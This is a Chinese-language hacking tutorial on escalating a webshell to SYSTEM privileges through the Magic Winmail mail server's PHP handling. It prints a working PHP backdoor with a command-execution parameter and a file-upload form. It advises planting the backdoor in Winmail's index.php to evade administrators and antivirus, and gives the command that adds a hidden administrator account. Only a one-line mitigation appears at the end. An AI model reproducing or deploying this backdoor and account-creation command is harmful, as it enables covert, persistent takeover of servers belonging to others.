Magic Winmail是一款很不错的mail server 软件,深受不少网站的青睐。主要是一些中小的网站。但是在笔者最近的一次渗透中发现,装有改软件的服务器,如果一旦被入侵者得到webshell就可以通过这个软件来提升权限,非常危险。
装有Magic Winmail的服务器会在系统上开启8080端口,对外提供邮件服务。使用过它的人应该知道。这个Magic Winmail服务器支持php脚本解析。
图1
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="http://cnxhacker.net/manage/upload_read.asp?id=102" width=520 onload="javascript:if(this.width520)this.width=520;" align=absMiddle border=0
在装有Magic Winmail的文件夹下有
一个server的文件夹,其下有webmail文件夹。
图2
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="http://cnxhacker.net/manage/upload_read.asp?id=103" width=520 onload="javascript:if(this.width520)this.width=520;" align=absMiddle border=0
大家可以发现这个文件夹下是一些php脚本的文件。因为Magic Winmail这个软件可以解析php脚本,也真是我们利用这个漏洞来提升权限的得力帮手。发现这个方法实属偶然,本来我想在这个服务器上装个后门,怎么装呢? 由于本人思路比较怪。一般不会使用常规的方法,就在这个服务器8080端口上打主意了。这个Magic Winmail就是最佳地点。你在d:\MagicW~1\server\webmail[我测试的机器上的物理路径]文件下随便放置php脚本,不管是脚本注入式的还是普通的php脚本,随便放! 而且lis0提示请放心大胆使用,不会有日志吗? 菜鸟了吧。一般系统被入侵,管理员到系统盘下又是md5校验又是脚本木马查杀的。他做梦也想不到我们的脚本会放在这个文件夹下,lis0推荐使用注入式的脚本或者是自己写的不被杀毒软件能K的脚本。我哪个脚本? Lis0使用的是angel写的一个up.php,又插入了一点东西。玩的时候,上传个自己修改过的脚本或者其它东东,很方便。日志呢?当然还是有的。不过还是在Magic Winmail文件夹下,到目前为止能到这个文件夹下查看日志的网管还真的是不多,除非看了这篇文章 :)
up.php的codz
<?
if ($id=="1"){
system($cmd);
show_source($file);
copy($a,$b);unlink($a);
}
?>
<?
$fname = $_FILES['MyFile']['name'];
$do = copy($_FILES['MyFile']['tmp_name'],$fname);
if ($do)
{
echo"上传成功<p>";
echo "http://";.$SERVER_NAME."".dirname($PHP_SELF)."/".$fname."";
} else {
echo "上传失败";
}
?>
<form ENCTYPE="multipart/form-data" ACTION="<?php echo"".$PHP_SELF.""; ?>" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE="提交" TYPE="submit">
</from>
其实我们可以将如下的代码插入到Magic Winmail的index.php文件中去,它的功能已经构多了。加上lis0发现的漏洞。这就算是个最完美的后门了。
<?
if ($id=="1"){
system($cmd);
show_source($file);
copy($a,$b);unlink($a);
}
?>
我们使用http://www.target.com:8080/index.php?id=1&YY=XX 就可以正大光明地访问我们的肉鸡了。好像这样做太黑了点:)
还没说漏洞呢?废话多了。将一个php的脚本放在d:\MagicW~1\server\webmail下
图3
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="http://cnxhacker.net/manage/upload_read.asp?id=104" width=520 onload="javascript:if(this.width520)this.width=520;" align=absMiddle border=0
然后正大光明地 net user lis0 lis0 /add & net localgroup administrators lis0 /add 这个就是哥们发现的漏洞,不相信, 让肉鸡来证明我说的是没错的啊。
图4
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="http://cnxhacker.net/manage/upload_read.asp?id=105" width=520 onload="javascript:if(this.width520)this.width=520;" align=absMiddle border=0
这个webshell是system级别的而不是你那个guest级别的东西。虽然同是webshell待遇却不同啊。至于你想要玩其它的东东的话,使用上面我提起的up.php上传应该是不成问题的。然后在脚本的那个可爱的小框框中执行就ok了
如果使用asp脚本可以提升限权吗? 也放在Magic Winmail那个文件夹下。
我们可以分析一下如果Magic Winmail可以同时解析php和asp脚本的话,应该是可以的。不好意思Magic Winmail是不可以解析asp脚本的,Magic Winmail这边是php的世界。
我们这边简单地分析一个这个漏洞是如何产生的?我们可爱的网管在装Magic Winmail的时候肯定是以system级别的身份装的。当然Magic Winmail就继承了system级别的限权,而我们的Magic Winmail却可以解析php脚本,想当然我们可爱的php脚本就是system级别的脚本了。这个Magic Winmail软件有点像咱国产Netbox的味道。
看看我们分析的对不对,于是我上传了个php探针,看看它到底是怎么回事情。
图5
520)this.width=520;" style="CURSOR: hand" onclick=javascript:window.open(this.src); src="http://cnxhacker.net/manage/upload_read.asp?id=106" width=520 onload="javascript:if(this.width520)this.width=520;" align=absMiddle border=0
看到了没~乖乖
system级别的 & 而且无被禁函数 & 允许/最大 32M & lis0高兴ing。我个人认为这个一个最完美的php脚本后门放置地点,随意发挥你的php才华。好了就这么多了,希望能对大家渗透有所帮助。
解决方法:将Magic Winmail所在盘作相应处理,限制guest限权的用户访问。
声明:由于该方法对于不少人来说可谓是一大惊喜,放置后门加提升限权可能带来不良影响。所作的测试的脚本已经完全删除。无聊人士请勿对号入座。